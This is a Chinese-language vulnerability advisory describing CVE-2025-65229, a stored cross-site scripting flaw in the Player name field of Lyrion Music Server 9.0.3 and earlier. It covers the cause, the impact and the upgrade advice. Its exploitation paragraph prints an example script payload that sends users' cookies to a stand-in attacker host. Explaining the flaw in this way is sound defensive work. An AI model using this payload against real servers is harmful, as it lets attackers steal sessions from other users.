CVE-2025-65229CVE-2025-65229是Lyrion Music Server（formerly Logitech Media Server）9.0.3及之前版本中存在的一个存储型跨站脚本（Stored XSS）漏洞。该漏洞存在于Web界面的播放器设置功能中，经过身份认证的低权限用户可以访问Settings Player功能，在Player name字段中注入任意HTML或JavaScript代码。由于服务器在存储该值时未进行充分的输入验证，且在后续的Information（Player Info）标签页中渲染该值时缺少适当的输出编码，导致注入的恶意脚本被浏览器作为合法代码执行。此漏洞属于存储型XSS，与反射型XSS不同，恶意脚本被永久存储在服务器端，所有访问该页面的用户都会受到攻击。攻击者可以利用此漏洞窃取会话Cookie、劫持用户会话、进行钓鱼攻击或传播恶意软件。由于需要认证才能利用，且需要用户交互（访问特定页面），因此CVSS评分相对较低，但仍对应用程序的整体安全性构成威胁。建议受影响的用户尽快升级到最新版本以修复此漏洞。
该存储型XSS漏洞的利用过程相对简单直接。首先，攻击者需要拥有一个有效的Lyrion Music Server账户并完成登录认证。登录后，攻击者导航至Settings Player功能模块。在Player name输入字段中，攻击者可以输入任意包含恶意JavaScript代码的字符串，例如：<script>document.location='https://attacker.com/steal?cookie='+document.cookie</script>。由于应用程序未对输入内容进行严格的HTML标签过滤和验证，恶意代码被直接存储到服务器数据库中。当其他用户访问Information（Player Info）标签页时，服务器从数据库中检索该Player name值并直接嵌入到返回的HTML页面中。由于缺少输出编码（如HTML实体编码），浏览器会将注入的<script>标签作为有效脚本执行，从而触发恶意代码。攻击者可利用此漏洞执行各种客户端攻击，包括但不限于：会话劫持（窃取用户Cookie）、键盘记录、页面篡改、钓鱼弹窗等。该漏洞的根因在于应用程序在数据处理流程中缺少两处关键的安全控制：输入阶段的严格验证和白名单过滤，以及输出阶段的上下文相关编码。